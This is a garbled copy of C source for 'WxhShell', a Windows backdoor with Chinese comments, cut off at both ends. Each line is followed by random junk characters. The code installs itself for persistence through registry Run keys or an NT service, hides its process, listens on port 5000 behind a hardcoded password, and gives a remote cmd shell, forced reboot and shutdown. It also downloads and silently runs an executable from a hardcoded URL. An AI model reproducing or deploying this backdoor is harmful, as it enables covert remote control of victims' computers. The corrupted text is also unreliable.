    } E&G_7->  
  // 关机 5x/q\p-{/  
  case 'd': { Q+4xU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E3N4(V\*  
    if(Boot(SHUTDOWN)) HRF4 Ro  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^IEQZgH  
    else { 9HI9([Cs  
    closesocket(wsh); wA`A+Z2*?  
    ExitThread(0); Dim,HPx]d  
    } A]nDI:pO|  
    break; , O=@I  
    } mUi|vq)`=D  
  // 获取shell sePOW#|  
  case 's': { 9gMNS6D'b  
    CmdShell(wsh); 5p&&EA/  
    closesocket(wsh); G $u:1&   
    ExitThread(0); maANxSzi  
    break; !" E&Tk}  
  } g+ `Ie'o<  
  // 退出 Zxw>|eKI>D  
  case 'x': { _"`wUMee  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 54 8w v  
    CloseIt(wsh); HaeF`gI^Ee  
    break; >c~~i-=  
    } =U3,P%  
  // 离开 J[<3Je=>$  
  case 'q': { ~mUP!f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |L{<=NNs:D  
    closesocket(wsh); GXaCH))TO  
    WSACleanup(); B^(0>Da\  
    exit(1); D]+tr%  
    break; Py(l+Ik`>  
        } ;D_6u(IC4:  
  } m{gK<T  
  } 8a{FxCBw  
o{\@7'G  
  // 提示信息 `nM Huv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [!>2[bbl  
} Rs;,_  
  } ?Mp)F2'  
g5TXs^g  
  return; BY: cSqAW  
} ;2RCgX!'%  
Nzc1)t=  
// shell模块句柄 Z2 B59,I  
int CmdShell(SOCKET sock) ih1s`CjG  
{ k}-%NkQ 9O  
STARTUPINFO si; IsO'aFK)ln  
ZeroMemory(&si,sizeof(si)); DSix(bs9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7<{Zq8)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  6<A\U/  
PROCESS_INFORMATION ProcessInfo; )|/t}|DIx  
char cmdline[]="cmd"; /= P!9d {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <R~(6krJwZ  
  return 0; /B!"\0G/,  
} \~nUk7.  
nLkC-+$tM  
// 自身启动模式 wP/rR D6  
int StartFromService(void) &K k+RHM  
{ ,K7C2PV6  
typedef struct yo V"?W>!  
{ GMOv$Tn-_L  
  DWORD ExitStatus; {U=za1Ga  
  DWORD PebBaseAddress; <2y~7h:  
  DWORD AffinityMask; FQi"OZHq  
  DWORD BasePriority; RCNqHYR  
  ULONG UniqueProcessId; V&KH{j/P  
  ULONG InheritedFromUniqueProcessId; xPqpNs-,  
}   PROCESS_BASIC_INFORMATION; Z<y +D-/  
?MeP<5\A  
PROCNTQSIP NtQueryInformationProcess; K1z"..(2J  
c[ff|-<g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?Z!itB~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R|t.wawCo  
5n.4>yOY  
  HANDLE             hProcess; ~PuPY:"  
  PROCESS_BASIC_INFORMATION pbi; 4E3HYZ  
1`_Mc ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f%*-PW^*  
  if(NULL == hInst ) return 0; I?-9%4 8iM  
-$WiB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (B]Vw+/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LEVNywk[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  wb4 4  
ZH:#~Zyj  
  if (!NtQueryInformationProcess) return 0; 21 cB_"  
vWfC!k-)b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WP^%[?S2  
  if(!hProcess) return 0; UDyvTfh1X  
y9\s[}c_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1aYO:ZPy  
:'GTCo$3  
  CloseHandle(hProcess); K r]!BI?z  
 =sG(l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2T?t[;-  
if(hProcess==NULL) return 0; u[2R>=  
(U/[i.r5Cj  
HMODULE hMod; !^q<)!9<EO  
char procName[255]; mMT7`r;l  
unsigned long cbNeeded; -lSm:O@'  
9'//_ A,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZWf{!L,@Z  
.(9IAAwKn  
  CloseHandle(hProcess); e%'9oAz  
cx_"{`+e  
if(strstr(procName,"services")) return 1; // 以服务启动 tvRa.3  
0e vxRcrzz  
  return 0; // 注册表启动 ?WUE+(oH>  
} `j=CzZ*em?  
C<w9f  
// 主模块 *o"F.H{#N  
int StartWxhshell(LPSTR lpCmdLine) +< BAJWU  
{ m}Tu^dy  
  SOCKET wsl; D>*%zz|  
BOOL val=TRUE; y''?yr  
  int port=0; !h9 An  
  struct sockaddr_in door; >wcsJ {I  
k~=-o>}C  
  if(wscfg.ws_autoins) Install(); |BYD]vK  
E?Q=#+}U  
port=atoi(lpCmdLine); X[;4.imE  
2b|vb}|t{  
if(port<=0) port=wscfg.ws_port; wZrdr4j  
~sSB.g  
  WSADATA data; -ZihEyG?V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :sT<<LtI-  
z eIBB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UQW;!8J#R(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >y]YF3?  
  door.sin_family = AF_INET; mg >oB/,'Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sFS_CyN!7  
  door.sin_port = htons(port); &Vgjd>  
 2 H^9Qd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \UB<'~z6!  
closesocket(wsl);  XyhO d$)  
return 1; B)^]V<l(w  
} yMz@-B  
}3[ [ONA  
  if(listen(wsl,2) == INVALID_SOCKET) { bJ. ((1$  
closesocket(wsl); R4V>_\D/  
return 1; +oQ@E<)H  
} M5)6|T  
  Wxhshell(wsl); yxA0#6so  
  WSACleanup(); 5@ ZD'  
X#eVw|  
return 0; p3^7Hr  
>{GC@Cw  
} lBh {8a|2W  
eW >k'ez  
// 以NT服务方式启动 OZt'ovY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t]vX9vv+D  
{ ;#xhlR* ~  
DWORD   status = 0; $h_@`j  
  DWORD   specificError = 0xfffffff; n}MG  
o_G.J4 V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T,?^J-h^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T 86}^=-5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G0*$&G0nb  
  serviceStatus.dwWin32ExitCode     = 0; ,sLV6DM  
  serviceStatus.dwServiceSpecificExitCode = 0; SH}O?d\Q:  
  serviceStatus.dwCheckPoint       = 0; &aHj;Z(  
  serviceStatus.dwWaitHint       = 0; = )(;  
L YH9P-5H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >J8?n,*  
  if (hServiceStatusHandle==0) return; EKoCm)}d  
q(uu;l[  
status = GetLastError(); QT-rb~  
  if (status!=NO_ERROR) N+}yw4lb  
{ 3rR(>}:[V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2,_BO6 !d  
    serviceStatus.dwCheckPoint       = 0; n!tCz<v  
    serviceStatus.dwWaitHint       = 0; {h@R\bU  
    serviceStatus.dwWin32ExitCode     = status; Q6vkqu5!=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ruE.0VI@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )O7Mfr  
    return; y5R6/*;N.  
  } hUl FP  
^Y'>3o21f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ((?^B  
  serviceStatus.dwCheckPoint       = 0; ;wvV hQ  
  serviceStatus.dwWaitHint       = 0; #vS>^OyP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3d,|26I7f  
} H<FDi{  
l{y~N  
// 处理NT服务事件,比如:启动、停止 9'4cqR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~sA}.7  
{ R(q fP  
switch(fdwControl) Y@.:U*  
{ }Rt<^oya*  
case SERVICE_CONTROL_STOP: ,e,fOL  
  serviceStatus.dwWin32ExitCode = 0; LTa9' q0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (cCB3n\20  
  serviceStatus.dwCheckPoint   = 0; j4NS5  
  serviceStatus.dwWaitHint     = 0; PqP)<d '/  
  { myJsRb5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7qh_URt@  
  } %l5J  
  return; * |,V$  
case SERVICE_CONTROL_PAUSE: v4S|&m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {(aJrSE<z  
  break; 8}S|iM  
case SERVICE_CONTROL_CONTINUE: x&?35B i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ii,L6c  
  break; N:&Gv'`  
case SERVICE_CONTROL_INTERROGATE: 0c`wJktWK  
  break; S*\`LBl"nX  
}; Z&}94  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "dkvk7zCP  
} _ :][{W#  
(sPZ1Fr\o  
// 标准应用程序主函数 -EL"Sv?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]*v%(IGK  
{ l5@k8tnz  
q=6M3OnS>  
// 获取操作系统版本 ~w!<J-z)  
OsIsNt=GetOsVer(); X#Hs{J~@p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kszYbz"  
gWJLWL2  
  // 从命令行安装 ixU1v~T  
  if(strpbrk(lpCmdLine,"iI")) Install(); -aec1+o  
46$5f?Z  
  // 下载执行文件 `Y'}\>.#  
if(wscfg.ws_downexe) { `@Qq<T}V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xEZvCwsb  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wk$%0xZ7  
} jI y'mGaG  
Q4Cw{2r  
if(!OsIsNt) { `VS/ Xyp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y%Saz+  
HideProc(); Lo !kv*  
StartWxhshell(lpCmdLine); 7j@TW%FmV\  
} o 0fsM;K  
else s3t{freM  
  if(StartFromService()) )FgcNB1|7  
  // 以服务方式启动 T@f$w/15  
  StartServiceCtrlDispatcher(DispatchTable); &}*[-z  
else 3lLO.  
  // 普通方式启动 ! WQEv_G@  
  StartWxhshell(lpCmdLine); /oh[ Nu1D  
hL&z"_`  
return 0; jg2>=}  
} 8vchLl#  
(Kx3:gs  
  5)mn  
t&-7AjS5  
=========================================== [,l BY-Kz+  
! 5]/2  
glHHr  
0naegy?,  
l$z-'  
V<(cW'zA/  
" ga!t:O@w  
C'hZNFsF;  
#include <stdio.h> G;`+MgJ)  
#include <string.h> |nv8&L8  
#include <windows.h> 5J1,Usm  
#include <winsock2.h> tX6n~NJ$  
#include <winsvc.h> <sn^>5Ds  
#include <urlmon.h> $,bLb5}Qu  
* y u|]T  
#pragma comment (lib, "Ws2_32.lib") hfVJg7-  
#pragma comment (lib, "urlmon.lib") HjL+Wg  
.hn "NXy  
#define MAX_USER   100 // 最大客户端连接数 [9*+s  
#define BUF_SOCK   200 // sock buffer @_0XK)pW  
#define KEY_BUFF   255 // 输入 buffer (i&:=Bfn)  
Lw2EA 5  
#define REBOOT     0   // 重启 dTS 7l02  
#define SHUTDOWN   1   // 关机 CSIW|R@   
1[mX_ }K  
#define DEF_PORT   5000 // 监听端口 n{=vP`V_  
~#O nA1)  
#define REG_LEN     16   // 注册表键长度 <Y<%=`  
#define SVC_LEN     80   // NT服务名长度 ".~,(*  
F d *p3a  
// 从dll定义API k${25*M!3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )g+~"&Gcx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1@;Dn'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jIg]?4bW[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ 2Z{en?  
}eSaF@.  
// wxhshell配置信息 CO-9-sQx  
struct WSCFG { AvH^9zEE(  
  int ws_port;         // 监听端口 qy/xJ>:  
  char ws_passstr[REG_LEN]; // 口令 f D2. Zh  
  int ws_autoins;       // 安装标记, 1=yes 0=no eUQrn>`  
  char ws_regname[REG_LEN]; // 注册表键名 x7>' 1  
  char ws_svcname[REG_LEN]; // 服务名 2I>X]r.S!1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MBp%TX!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0.=dOz r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N-y[2]J90  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "V}WV!w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |!,;IoZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1F{c5  
SwXVa/9a"  
}; <D%.'=%pZ  
PsaKzAg?  
// default Wxhshell configuration :)p\a1I[*  
struct WSCFG wscfg={DEF_PORT, Rcc9Tx(zvQ  
    "xuhuanlingzhe", xo a1='  
    1, 3c}@_Yn  
    "Wxhshell", f;x0Ho5C2  
    "Wxhshell", Jx!#y A;  
            "WxhShell Service", YZMSiDv[e  
    "Wrsky Windows CmdShell Service", xG/B$DLn  
    "Please Input Your Password: ", `zw XfY,%  
  1, r roI  
  "http://www.wrsky.com/wxhshell.exe", B/0Xqyu  
  "Wxhshell.exe" =+DfIO  
    }; #p*D.We  
DS%~'S  
// 消息定义模块 n 9PYZxy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0*]n#+=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l|9' M'a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L 4V,y>  
char *msg_ws_ext="\n\rExit."; ose(#n40  
char *msg_ws_end="\n\rQuit."; :m]H?vq] \  
char *msg_ws_boot="\n\rReboot..."; 2RG6m=Y8y  
char *msg_ws_poff="\n\rShutdown..."; ~G,_4}#"pM  
char *msg_ws_down="\n\rSave to "; w;W# 'pE  
;-#2p^  
char *msg_ws_err="\n\rErr!"; G5vp(%j  
char *msg_ws_ok="\n\rOK!"; FUzN }"\1  
t-B5,,`  
char ExeFile[MAX_PATH]; \2)D  
int nUser = 0; xsu9DzPf&{  
HANDLE handles[MAX_USER]; :y'EIf  
int OsIsNt; EM QGP<[  
\Kr8k`f  
SERVICE_STATUS       serviceStatus; 2*Zk^h=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G%iT L"6  
)Fon;/p  
// 函数声明 ,4:=n$e 0  
int Install(void); N,W ?}  
int Uninstall(void); 'HKDGQl`  
int DownloadFile(char *sURL, SOCKET wsh); R!f<6l8#W  
int Boot(int flag); YLJ^R$pi  
void HideProc(void); ckGmwYP9  
int GetOsVer(void); 6S`0<Z;;/  
int Wxhshell(SOCKET wsl); cX7 O*5C  
void TalkWithClient(void *cs); M8nfbc^  
int CmdShell(SOCKET sock); VKV :U60  
int StartFromService(void); (qglD  
int StartWxhshell(LPSTR lpCmdLine); ja^_Lh9  
.DNPL5[v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !]5}N^X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @<NuuYQ&  
A:y HClmn  
// 数据结构和表定义 3P@D!lV&K  
SERVICE_TABLE_ENTRY DispatchTable[] = 5skxixG  
{ m ww<Xm'  
{wscfg.ws_svcname, NTServiceMain}, vAp<Muj(a  
{NULL, NULL} <qg4Rz\c]  
}; J 2<kOXXJ9  
IjGPiC  
// 自我安装 pHT]2e#  
int Install(void) sYjhQN=Y*  
{ cbN;Kv?ak}  
  char svExeFile[MAX_PATH]; m g,1*B'  
  HKEY key; ^/_Yk.w  
  strcpy(svExeFile,ExeFile); !O,Sq/=.  
o]E L=j  
// 如果是win9x系统,修改注册表设为自启动 vJLGy]  
if(!OsIsNt) { c {/J.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > vdmN]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >H^#!eaqw  
  RegCloseKey(key); e2f+Fv 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {`QA.he.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Qo'[+4;  
  RegCloseKey(key); 6<EGH*GQ$  
  return 0; q`,%L1c4  
    } [Ur\^wS  
  } nl qn:[BU  
} x-"8V(  
else { Z:dp/M}  
P#O2MiG  
// 如果是NT以上系统,安装为系统服务 S=(<m%f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y=p!xr>  
if (schSCManager!=0) h);^4cU  
{ M?!@L:b[  
  SC_HANDLE schService = CreateService ^|H={pd'c0  
  ( y~fKLIoz"  
  schSCManager, w9{C"K?u=  
  wscfg.ws_svcname, fqhL"Ah   
  wscfg.ws_svcdisp, +x(#e'6p  
  SERVICE_ALL_ACCESS, R*:>h8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [% C,&h5  
  SERVICE_AUTO_START, RN[I%^$"  
  SERVICE_ERROR_NORMAL, SRwD`FF  
  svExeFile, #8|LPfA  
  NULL, i|J%jA  
  NULL, <XIIT-b[  
  NULL, =A.$~9P  
  NULL, Y8zTw`:V  
  NULL #0>xa]S  
  ); - 8p!,+Dk  
  if (schService!=0) g:>'+(H;  
  { 7~SwNt,  
  CloseServiceHandle(schService); `PC9t)%.pV  
  CloseServiceHandle(schSCManager); F}5d>nw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6Q^~O*cw  
  strcat(svExeFile,wscfg.ws_svcname); V&w2pp0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7~ PL8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .E<nQWz 8  
  RegCloseKey(key); ;$QC_l''b  
  return 0; 27EK +$  
    } @eJCr)#}  
  } <.Ws; HN}  
  CloseServiceHandle(schSCManager); 1Y|a:){G  
} j-":>}oW2.  
} yd).}@  
hW~.F  
return 1; _dJ(h6%3  
} /]_t->  
g1s%x=7/  
// 自我卸载 #;$]M4  
int Uninstall(void) L=l&,ENy  
{ Qc; kj  
  HKEY key; c2y,zq|H  
&EfQ%r}C  
if(!OsIsNt) { Fl-\{vOn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )th[fUC(  
  RegDeleteValue(key,wscfg.ws_regname); Q?#I{l)V(  
  RegCloseKey(key); 2;8m0+tl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `gX@b^  
  RegDeleteValue(key,wscfg.ws_regname); .UG`pRC  
  RegCloseKey(key); ?13qDD:  
  return 0; fSkDD>&  
  } `POzwYh  
} y0%1YY  
} q`q;og `  
else { `Mnu<)v  
5~L]zE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 r!zYZ`)  
if (schSCManager!=0) {KG6#/%;  
{ j]Jgz<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BAf$ty h  
  if (schService!=0) s6!6Oqh  
  {  !+eH8  
  if(DeleteService(schService)!=0) { vADiW~^Q^  
  CloseServiceHandle(schService); Oynb "T&8  
  CloseServiceHandle(schSCManager); `*C=R  _  
  return 0; +$h  
  } [_,as  
  CloseServiceHandle(schService); *doNPp)m  
  } [9 W@<p  
  CloseServiceHandle(schSCManager); Smr{+m a  
} 3v/B*M VI  
} 2cR[~\_9.  
zLpCKndj  
return 1; K~N$s "Qx  
} hH %>  
p+VU:%.t  
// 从指定url下载文件 .ZpOYhk  
int DownloadFile(char *sURL, SOCKET wsh) EB~]6.1  
{ ?sf<cFF  
  HRESULT hr; 1E+12{~m"i  
char seps[]= "/"; g !'R}y  
char *token; gcJ!_KZK  
char *file; $[ {5+*  
char myURL[MAX_PATH]; g7\ =  
char myFILE[MAX_PATH]; mdj%zJ8/  
}LzBo\  
strcpy(myURL,sURL); JVZ-nHf(9  
  token=strtok(myURL,seps); XKoY!Y\  
  while(token!=NULL) A,}M ^$@  
  { YX\vk/[|  
    file=token; J|`0GDSn  
  token=strtok(NULL,seps); #b/qR^2qW  
  } '7Gv_G_  
g'8Y5x[  
GetCurrentDirectory(MAX_PATH,myFILE); w;z7vN~/O  
strcat(myFILE, "\\"); |#oS7oV(  
strcat(myFILE, file); a`xq h2P  
  send(wsh,myFILE,strlen(myFILE),0); !+l'<*8V  
send(wsh,"...",3,0); =Zd(<&B K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  is'V%q  
  if(hr==S_OK) qt/K$'  
return 0; al2t\Iq90  
else MdHm%Vx  
return 1; E+f)Zg :  
]Bhy  =1  
} }E'0vf /  
uDf<D.+5Ze  
// 系统电源模块 #Y'eS'lv4  
int Boot(int flag) j(;^XO Y#  
{ ,,H"?VO  
  HANDLE hToken; :|S zD4Ag  
  TOKEN_PRIVILEGES tkp; !?2)a pM  
8>Cr6m   
  if(OsIsNt) { K\Ea\b[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p_FM 2K7!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nhV"V`|d  
    tkp.PrivilegeCount = 1; wQ}r/2n|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RBX<>*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .E4* >@M5  
if(flag==REBOOT) { E5k)~P`|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z _!ut  
  return 0; B`*,L\LZ*  
} swKkY`g  
else { +v Bi7#&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y G+|r  
  return 0; Q;M\fBQO}&  
} \Wbmmd}8  
  } TT$A o  
  else { ys[Li.s:  
if(flag==REBOOT) { QV;o9j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =2Y;)wrF  
  return 0; jr6_|(0 i6  
} Dl,QCZeM  
else { S,Y|;p<+^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c}(WniR-"  
  return 0; *@U{[J  
} hHs/Qtq  
} 3DU1c?M:  
Ndmt$(b  
return 1; Fn4v/)*H  
} 04a ^jjc  
f5jl$H.  
// win9x进程隐藏模块 JF~i.+{ h  
void HideProc(void) u-_r2U  
{ Hbm 4oYN  
?J}Q&p.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $( hT{C,K  
  if ( hKernel != NULL ) $] 6u#5  
  { lj4Fg*/Yn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zt=|q$"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q&9 yrx.  
    FreeLibrary(hKernel); P7x;G5'.  
  } 3h:j.8Z  
@"@a70WHk  
return; .3!Wr*o  
} IqOg{#sm  
.sMs_ 5D  
// 获取操作系统版本 u9lZHh#V-  
int GetOsVer(void) Fq9YhR  
{ Y.:R-|W  
  OSVERSIONINFO winfo; sI ,!+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ Y/9SD  
  GetVersionEx(&winfo); 0;Z|:\P\=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hI[} -  
  return 1; &2'-v@kK  
  else tvkdNMyX%9  
  return 0; &|v)   
} h`[$ Bp  
,75)  
// 客户端句柄模块 *~rj!N?;  
int Wxhshell(SOCKET wsl) .RD<]BxJ  
{ =c8}^3L~7  
  SOCKET wsh; 7"(!]+BW!O  
  struct sockaddr_in client; TBlSZZ-55]  
  DWORD myID; _O9V"DM  
rb*|0ST  
  while(nUser<MAX_USER) te_2"Z  
{ VPLf(  
  int nSize=sizeof(client); @]\fO)\f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '&>"`q  
  if(wsh==INVALID_SOCKET) return 1; , X5.|9  
AGBV7Kk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); exRw, Nk4  
if(handles[nUser]==0) 7DB_Z /uU  
  closesocket(wsh); ,_z79tC{s  
else FX:`7c]:9  
  nUser++; [KDxB>R<{  
  } `e[S Zj\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "*g+qll!5d  
i'tMpS3  
  return 0;  W!Tx%  
} m/HT3<F  
86&M Zdv6  
// 关闭 socket KK|w30\f  
void CloseIt(SOCKET wsh) 1wSAwpz  
{ \Z{tC$|H  
closesocket(wsh); EF/d7  
nUser--; {X{R]  
ExitThread(0); C.j+Zb1Z(  
} 0<M-asI?  
W.wPy@yi  
// 客户端请求句柄 ;vx5 =^7P  
void TalkWithClient(void *cs) 1gI7$y+?  
{ -I< >Ab  
Vk5Z[w a  
  SOCKET wsh=(SOCKET)cs; kVn RSg}R  
  char pwd[SVC_LEN]; X>(1fra4  
  char cmd[KEY_BUFF]; ,67Q!/O  
char chr[1]; MK< y$B{}  
int i,j; ('J/Ww<  
o3WOp80hz  
  while (nUser < MAX_USER) { ChBf:`e  
>P6"-x,["  
if(wscfg.ws_passstr) { oFk2y^>u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "N4^ ^~s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?hoOSur+  
  //ZeroMemory(pwd,KEY_BUFF); A(Ct^/x-  
      i=0; +Y;P*U}Qg[  
  while(i<SVC_LEN) { Mz+I YP`L  
,EqQU|  
  // 设置超时 *v<f#hB"  
  fd_set FdRead; 1]xk:u4LA  
  struct timeval TimeOut; B-I4(w($  
  FD_ZERO(&FdRead); .)E#*kLWR  
  FD_SET(wsh,&FdRead); L!f~Am:#  
  TimeOut.tv_sec=8; BR|!ya+_2  
  TimeOut.tv_usec=0; S"bN9?;#u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nz 10/nw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R'c*CLaiE  
q~{) {t;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %G?@Hye3  
  pwd=chr[0]; *)^6'4=  
  if(chr[0]==0xd || chr[0]==0xa) { manw;`Q  
  pwd=0; RB>=#03  
  break; srS!X$cec  
  } A|biOz  
  i++; .:_'l)-  
    } U1 `5P!ov  
J"gMm@#C4  
  // 如果是非法用户,关闭 socket D]]e6gF$e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %0\@\fC41  
} Sv=YI  
bW yimr&B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FvT&nb{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Tx_`rO4VY  
0aT:Gy;  
while(1) { m:BzIcW<\  
]2zM~  
  ZeroMemory(cmd,KEY_BUFF); ~!uX"F8Xl  
`$a!CJu,  
      // 自动支持客户端 telnet标准   rzY)vC+ZT  
  j=0; KGt:  
  while(j<KEY_BUFF) { KpN]9d   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X G#?fr}L  
  cmd[j]=chr[0]; &YFe"C  
  if(chr[0]==0xa || chr[0]==0xd) { >N&{DJmD  
  cmd[j]=0; #N{]  
  break; A %w9Da?B  
  } fECV\Z  
  j++; _z p<en[  
    } =7!s8D,[  
rfV'EjiM}  
  // 下载文件 (Jp~=6&lKf  
  if(strstr(cmd,"http://")) { Y7G sL7I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); py6<QoGV  
  if(DownloadFile(cmd,wsh)) a)|y0w)vV  
